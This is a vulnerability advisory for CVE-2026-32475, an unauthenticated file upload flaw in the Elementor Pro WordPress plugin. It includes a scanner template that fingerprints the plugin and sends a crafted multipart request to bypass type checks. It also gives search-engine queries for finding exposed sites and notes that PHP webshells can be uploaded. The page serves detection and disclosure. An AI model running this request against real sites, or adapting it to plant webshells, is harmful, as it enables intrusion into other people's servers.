CVE-2026-32475: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler
2026-09-01UnknownPoC Public
Description
Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.
PoC
id: CVE-2026-32475
info:
name: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler
author: pdteam
severity: critical
description: |
Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.
impact: |
Unauthenticated remote code execution is achievable by uploading a PHP file to a web-accessible public directory (wp-content/uploads/elementor/forms/). Any file type can bypass the extension blocklist, including PHP webshells.
remediation: |
Update Elementor Pro to version 4.2.2 or later. The fix aligns the validation() and process_field() loops to consistently handle empty file entries.
reference:
- https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2026-32475
- https://github.com/absholi7ly/Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE
- https://www.bleepingcomputer.com/news/security/critical-elementor-pro-bug-exposes-wordpress-sites-to-rce-attacks/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2026-32475
cwe-id: CWE-434
epss-score: 0.02374
epss-percentile: 0.83002
metadata:
verified: true
max-request: 3
vendor: elementor
product: elementor-pro
framework: wordpress
fofa-query: body="/plugins/elementor-pro/"
shodan-query: html:"/plugins/elementor-pro/"
publicwww-query: "/wp-content/plugins/elementor-pro/"
tags: cve,cve2026,elementor,elementor-pro,wordpress,wp-plugin,file-upload,unauth,rce,intrusive,vkev,vuln
variables:
marker: "{{rand_text_alpha(12)}}"
fname: "{{rand_text_alpha(8)}}.txt"
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/elementor-pro/readme.txt"
matchers:
- type: word
words:
- "Elementor Pro"
internal: true
- method: GET
path:
- "{{BaseURL}}"
extractors:
- type: regex
name: post_id
group: 1
regex:
- 'name="post_id"\s+value="(\d+)"'
- '"post_id"\s*:\s*"?(\d+)"?'
internal: true
- type: regex
name: form_id
group: 1
regex:
- 'name="form_id"\s+value="([a-f0-9A-F]{4,16})"'
- '"form_id"\s*:\s*"([a-f0-9A-F]{4,16})"'
internal: true
- type: regex
name: field_id
group: 1
regex:
- 'name="form_fields\[([^\]]+)\]"\s[^>]*type="file"'
- 'type="file"\s[^>]*name="form_fields\[([^\]]+)\]"'
internal: true
- type: regex
name: text_field
group: 1
regex:
- 'name="form_fields\[([^\]]+)\]"\s[^>]*type="text"'
- 'type="text"\s[^>]*name="form_fields\[([^\]]+)\]"'
internal: true
- type: regex
name: email_field
group: 1
regex:
- 'name="form_fields\[([^\]]+)\]"\s[^>]*type="email"'
- 'type="email"\s[^>]*name="form_fields\[([^\]]+)\]"'
internal: true
matchers:
- type: word
words:
- "elementor-form"
- 'type="file"'
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=WebKitFormBoundarySBDsMGAl
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Connection: close
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="action"
elementor_pro_forms_send_form
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="post_id"
{{post_id}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_id"
{{form_id}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="queried_id"
{{post_id}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="referrer"
{{BaseURL}}
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{text_field}}]"
Test User
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{email_field}}]"
test@example.com
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{field_id}}][0]"; filename=""
Content-Type: application/octet-stream
--WebKitFormBoundarySBDsMGAl
Content-Disposition: form-data; name="form_fields[{{field_id}}][1]"; filename="{{fname}}"
Content-Type: text/plain
CVE-2026-32475-PoC-{{marker}}
--WebKitFormBoundarySBDsMGAl--
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success":true'
- type: status
status:
- 200
- type: word
part: body
words:
- "not_allowed"
- "are not allowed to access this page"
- "permission_denied"
- "invalid_nonce"
- "rest_forbidden"
negative: true
extractors:
- type: regex
part: body
name: upload_confirmed
regex:
- '"success"\s*:\s*true'
# digest: 4a0a00473045022100d084c6b3d9be5c5d218465ec63b5f6ed4cc6493fe0cbc1029b9377ae2e1059dc0220276dc05b191967482750fff2d002624f62800c48a97ee24692d746f23ea2c1e7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.